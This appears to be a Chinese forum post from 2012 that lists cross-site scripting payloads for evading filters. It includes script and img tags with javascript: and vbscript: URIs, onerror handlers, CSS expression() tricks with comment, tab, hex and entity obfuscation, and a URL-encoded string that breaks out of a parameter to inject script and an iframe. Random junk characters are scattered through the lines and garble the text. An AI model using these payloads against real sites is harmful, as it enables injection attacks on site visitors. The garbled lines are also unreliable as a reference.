<script>alert("跨站")</script> (最常用）
7 z& ]9 j- v, a; x1 E: ~<img scr=javascript:alert("跨站")></img>1 ?7 N. R6 ]# F& M9 ]0 n' N
<img scr="javascript: alert(/跨站/)></img>1 R# q& f+ K n' P: ]) ^' G
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）0 u2 U% _; [. m! t$ A, H3 o
<img scr="#" onerror=alert(/跨站/)></img>
; A. M8 w6 T$ w& ?! F; P; H<img scr="#" style="xss:expression(alert(/xss/));"></img>* h9 p" C- B9 U d
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
; i% s" a/ I+ V5 D8 z" S<img src=vbscript:msgbox ("xss")></img>
- J# J- u# ^, u& w1 i<style> input {left:expression (alert('xss'))}</style>/ [% T# G1 [/ {+ v7 e9 S2 I
<div style={left:expression (alert('xss'))}></div>1 w% `$ u% a% d1 q& ]
<div style={left:exp/* */ression (alert('xss'))}></div>
. Q" K9 Z- a+ s) l# O) C) i<div style={left:\0065\0078ression (alert('xss'))}></div>
0 B y# b$ [9 c- l9 N' rhtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
$ L. `- o: [* Z3 Hunicode <div style="{left:expRessioN (alert('xss'))}">
, e1 m! _5 R# x4 H
: v1 K5 e# w1 }+ v"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["" U' D! ]8 w1 Y1 E; d
|
发表于 2012-9-15 14:09:13
收藏
支持
反对